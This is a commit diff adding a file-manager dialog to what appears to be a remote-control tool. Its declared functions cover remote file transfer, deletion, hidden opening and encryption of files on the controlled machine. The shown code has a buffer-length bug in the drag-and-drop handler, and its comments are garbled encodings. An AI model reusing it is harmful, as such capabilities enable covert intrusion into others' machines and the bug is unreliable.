Plugin: Add another file management module

This commit is contained in:
yuanyuanxiang
2025-06-28 22:26:45 +08:00
parent 1d2ac9d241
commit 44f28defa2
21 changed files with 3160 additions and 1 deletions

View File

@@ -0,0 +1,24 @@
#include "StdAfx.h"
#include "2015Remote.h"
#include "CFileListCtrl.h"
#include "CFileManagerDlg.h"
using namespace file;
BEGIN_MESSAGE_MAP(CFileListCtrl, CListCtrl)
ON_WM_DROPFILES()
END_MESSAGE_MAP()
void CFileListCtrl::SetParenDlg(VOID* p_CFileManagerDlg)
{
m_pCFileManagerDlg = p_CFileManagerDlg;
}
void CFileListCtrl::OnDropFiles(HDROP hDropInfo)
{
TCHAR filePath[MAX_PATH] = { 0 };
DragQueryFile(hDropInfo, 0, filePath, sizeof(filePath) * 2 + 2);
((CFileManagerDlg*)m_pCFileManagerDlg)->TransferSend(filePath);
::DragFinish(hDropInfo);
CListCtrl::OnDropFiles(hDropInfo);
}

View File

@@ -0,0 +1,14 @@
#pragma once
#include <afxcmn.h>
class CFileListCtrl :public CListCtrl
{
DECLARE_MESSAGE_MAP()
public:
void* m_pCFileManagerDlg;
void SetParenDlg(VOID* p_CFileManagerDlg);
afx_msg void OnDropFiles(HDROP hDropInfo);
};

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,197 @@
#pragma once
#include "stdafx.h"
#include "CFileListCtrl.h"
#include <Resource.h>
#define MAX_WRITE_RETRY 15
#define MAX_SEND_BUFFER 65535
#define MAX_RECV_BUFFER 65535
namespace file {
/////////////////////////////////////////////////////////////////////////////
// CFileManagerDlg dialog
typedef CList<CString, CString&> strList;
typedef struct {
DWORD dwSizeHigh;
DWORD dwSizeLow;
BOOL error;
} FILESIZE;
typedef struct {
TCHAR SearchFileName[MAX_PATH];
TCHAR SearchPath[MAX_PATH];
BOOL bEnabledSubfolder;
} FILESEARCH;
typedef struct {
LVITEM* plvi;
CString sCol2;
} lvItem, * plvItem;
typedef struct {
BYTE Token;
int w, h, size;
} FILEPICINFO;
class CFileManagerDlg : public DialogBase
{
// Construction
public:
CString strLpath;
CString m_strDesktopPath;
CString GetDirectoryPath(BOOL bIncludeFiles);
bool m_bCanAdmin, m_bUseAdmin, m_bIsStop;
CString m_strReceiveLocalFile;
CString m_strUploadRemoteFile;
void ShowProgress();
void SendStop(BOOL bIsDownload);
int m_nTransferMode;
CString m_hCopyDestFolder;
void SendContinue();
void SendException();
void EndLocalRecvFile();
void EndRemoteDeleteFile();
CString ExtractNameFromFullPath(CString szFullPath);
HANDLE m_hFileSend;
HANDLE m_hFileRecv;
CString m_strOperatingFile; // <20>ļ<EFBFBD><C4BC><EFBFBD>
CString m_strFileName; // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
__int64 m_nOperatingFileLength; // <20>ļ<EFBFBD><C4BC>ܴ<EFBFBD>С
__int64 m_nCounter;// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
void WriteLocalRecvFile();
void CreateLocalRecvFile();
BOOL SendDownloadJob();
BOOL SendUploadJob();
BOOL SendDeleteJob();
strList m_Remote_Download_Job;
strList m_Remote_Upload_Job;
strList m_Remote_Delete_Job;
void ShowMessage(TCHAR* lpFmt, ...);
CString m_Remote_Path;
CStringA CopyFileNAme;;
BYTE m_bRemoteDriveList[2048];
CString GetParentDirectory(CString strPath);
void OnReceiveComplete();
void OnReceive();
void SearchEnd(); // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
void FixedRemoteSearchFileList(BYTE* pbBuffer, DWORD dwBufferLen);
int m_nNewIconBaseIndex; // <20>¼ӵ<C2BC>ICON
ClientContext* m_pContext;
ISocketBase* m_iocpServer;
CString m_IPAddress;
CProgressCtrl* m_ProgressCtrl;
HCURSOR m_hCursor;
CString m_Local_Path;
bool FixedUploadDirectory(LPCTSTR lpPathName);
void FixedRemoteDriveList();
void GetRemoteFileList(CString directory = _T(""));
void FixedRemoteFileList(BYTE* pbBuffer, DWORD dwBufferLen);
void fixNetHood(BYTE* pbuffer, int buffersize);//Զ<>̹<EFBFBD><CCB9><EFBFBD>Ŀ¼
bool id_search_result;
HICON m_hIcon;
CStatusBar m_wndStatusBar;
CFileManagerDlg(CWnd* pParent = NULL, ISocketBase* pIOCPServer = NULL, ClientContext* pContext = NULL);
~CFileManagerDlg() {
m_bOnClose = TRUE;
SAFE_DELETE(m_ProgressCtrl);
}
enum {
IDD = IDD_FILE_WINOS
};
CComboBox m_Remote_Directory_ComboBox;
CComboBox m_Local_Directory_ComboBox;
CFileListCtrl m_list_remote;
CListCtrl m_list_remote_driver;
CListCtrl m_list_remote_search;
CImageList I_ImageList0;
CImageList I_ImageList1;
CButton m_BtnSearch;
CString m_SearchStr;
BOOL m_bSubFordle;
BOOL DRIVE_Sys;
BOOL DRIVE_CAZ;
__int64 Bf_nCounters; // <20><><EFBFBD>ݼ<EFBFBD><DDBC><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>ڱȽ<DAB1><C8BD><EFBFBD>
LONG Bf_dwOffsetHighs;
LONG Bf_dwOffsetLows;
void TransferSend(CString file);
public:
virtual BOOL PreTranslateMessage(MSG* pMsg);
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support
virtual void PostNcDestroy();
virtual void OnClose();
protected:
virtual BOOL OnInitDialog();
afx_msg void OnSize(UINT nType, int cx, int cy);
afx_msg void OnTimer(UINT_PTR nIDEvent);
afx_msg void OnBeginDragListRemote(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnLButtonUp(UINT nFlags, CPoint point);
afx_msg void OnDblclkListRemote(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnDblclkListRemotedriver(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnclkListRemote(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnclkListRemotedriver(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnclickListSearch(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnGo();
afx_msg void OnRemotePrev();
afx_msg void OnRemoteView();
afx_msg void OnRemoteRecent();
afx_msg void OnRemoteDesktop();
afx_msg void OnRemoteCopy();
afx_msg void OnTransferSend();
afx_msg void OnRemoteDelete();
afx_msg void OnRemoteStop();
afx_msg void OnRemoteNewFolder();
afx_msg void OnTransferRecv();
afx_msg void OnRename();
afx_msg void OnEndLabelEditListRemote(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnDelete();
afx_msg void OnDeleteEnforce();
afx_msg void OnNewFolder();
afx_msg void OnRefresh();
afx_msg void OnUseAdmin();
afx_msg void OnRemoteOpenShow();
afx_msg void OnRemoteOpenHide();
afx_msg void OnRemoteEncryption();
afx_msg void OnRemoteDecrypt();
afx_msg void OnRemoteInfo();
afx_msg void OnRemoteCopyFile();
afx_msg void OnRemotePasteFile();
afx_msg void OnRemotezip();
afx_msg void OnRemotezipstop();
afx_msg void OnRclickListRemotedriver(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnRclickListRemote(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnRclickListSearch(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg BOOL MyShell_GetImageLists();
afx_msg void OnCompress();
afx_msg void OnUncompress();
afx_msg void OnSetfocusRemotePath();
afx_msg void OnBtnSearch();
afx_msg void OnBnClickedSearchStop();
afx_msg void OnBnClickedSearchResult();
DECLARE_MESSAGE_MAP()
protected:
BOOL m_bOnClose;
private:
bool m_bIsUpload; // <20>Ƿ<EFBFBD><C7B7>ǰѱ<C7B0><D1B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD>ϣ<EFBFBD><CFA3><EFBFBD>־<EFBFBD><D6BE><EFBFBD><EFBFBD>λ
BOOL m_bDragging; // during a drag operation
bool MakeSureDirectoryPathExists(LPCTSTR pszDirPath);
void SendTransferMode();
void SendFileData();
void EndLocalUploadFile();
bool DeleteDirectory(LPCTSTR lpszDirectory);
void EnableControl(BOOL bEnable = TRUE);
void ShowSearchPlugList();
};
}

View File

@@ -0,0 +1,111 @@
// FileTransferModeDlg.cpp : implementation file
//
#include "stdafx.h"
#include "2015Remote.h"
#include "CFileTransferModeDlg.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#endif
/////////////////////////////////////////////////////////////////////////////
// CFileTransferModeDlg dialog
using namespace file;
CFileTransferModeDlg::CFileTransferModeDlg(CWnd* pParent /*=NULL*/)
: CDialog(CFileTransferModeDlg::IDD, pParent)
{
}
void CFileTransferModeDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
}
BEGIN_MESSAGE_MAP(CFileTransferModeDlg, CDialog)
ON_BN_CLICKED(IDC_OVERWRITE, &CFileTransferModeDlg::OnBnClickedOverwrite)
ON_BN_CLICKED(IDC_OVERWRITE_ALL, &CFileTransferModeDlg::OnBnClickedOverwriteAll)
ON_BN_CLICKED(IDC_ADDITION, &CFileTransferModeDlg::OnBnClickedAddition)
ON_BN_CLICKED(IDC_ADDITION_ALL, &CFileTransferModeDlg::OnBnClickedAdditionAll)
ON_BN_CLICKED(IDC_JUMP, &CFileTransferModeDlg::OnBnClickedJump)
ON_BN_CLICKED(IDC_JUMP_ALL, &CFileTransferModeDlg::OnBnClickedJumpAll)
ON_BN_CLICKED(IDC_CANCEL, &CFileTransferModeDlg::OnBnClickedCancel)
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CFileTransferModeDlg message handlers
void CFileTransferModeDlg::OnEndDialog(UINT id)
{
EndDialog(id);
}
BOOL CFileTransferModeDlg::OnInitDialog()
{
CDialog::OnInitDialog();
CString str;
str.Format(_T("<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ѱ<EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><EFBFBD>%s<><73><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>"), m_strFileName);
for (int i = 0; i < str.GetLength(); i += 120) {
str.Insert(i, _T("\n"));
i += 1;
}
SetDlgItemText(IDC_TIPS, str);
return TRUE; // return TRUE unless you set the focus to a control
// EXCEPTION: OCX Property Pages should return FALSE
}
void CFileTransferModeDlg::OnBnClickedOverwrite()
{
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>ӿؼ<D3BF>֪ͨ<CDA8><D6AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
EndDialog(IDC_OVERWRITE);
}
void CFileTransferModeDlg::OnBnClickedOverwriteAll()
{
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>ӿؼ<D3BF>֪ͨ<CDA8><D6AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
EndDialog(IDC_OVERWRITE_ALL);
}
void CFileTransferModeDlg::OnBnClickedAddition()
{
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>ӿؼ<D3BF>֪ͨ<CDA8><D6AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
EndDialog(IDC_ADDITION);
}
void CFileTransferModeDlg::OnBnClickedAdditionAll()
{
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>ӿؼ<D3BF>֪ͨ<CDA8><D6AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
EndDialog(IDC_ADDITION_ALL);
}
void CFileTransferModeDlg::OnBnClickedJump()
{
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>ӿؼ<D3BF>֪ͨ<CDA8><D6AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
EndDialog(IDC_JUMP);
}
void CFileTransferModeDlg::OnBnClickedJumpAll()
{
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>ӿؼ<D3BF>֪ͨ<CDA8><D6AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
EndDialog(IDC_JUMP_ALL);
}
void CFileTransferModeDlg::OnBnClickedCancel()
{
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>ӿؼ<D3BF>֪ͨ<CDA8><D6AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
EndDialog(IDC_CANCEL);
}

View File

@@ -0,0 +1,31 @@
#pragma once
/////////////////////////////////////////////////////////////////////////////
// CFileTransferModeDlg dialog
namespace file {
class CFileTransferModeDlg : public CDialog
{
public:
CString m_strFileName;
CFileTransferModeDlg(CWnd* pParent = NULL);
enum { IDD = IDD_TRANSFERMODE_DLG };
protected:
virtual void DoDataExchange(CDataExchange* pDX);
protected:
afx_msg void OnEndDialog(UINT id);
virtual BOOL OnInitDialog();
afx_msg void OnBnClickedOverwrite();
afx_msg void OnBnClickedOverwriteAll();
afx_msg void OnBnClickedAddition();
afx_msg void OnBnClickedAdditionAll();
afx_msg void OnBnClickedJump();
afx_msg void OnBnClickedJumpAll();
afx_msg void OnBnClickedCancel();
DECLARE_MESSAGE_MAP()
};
}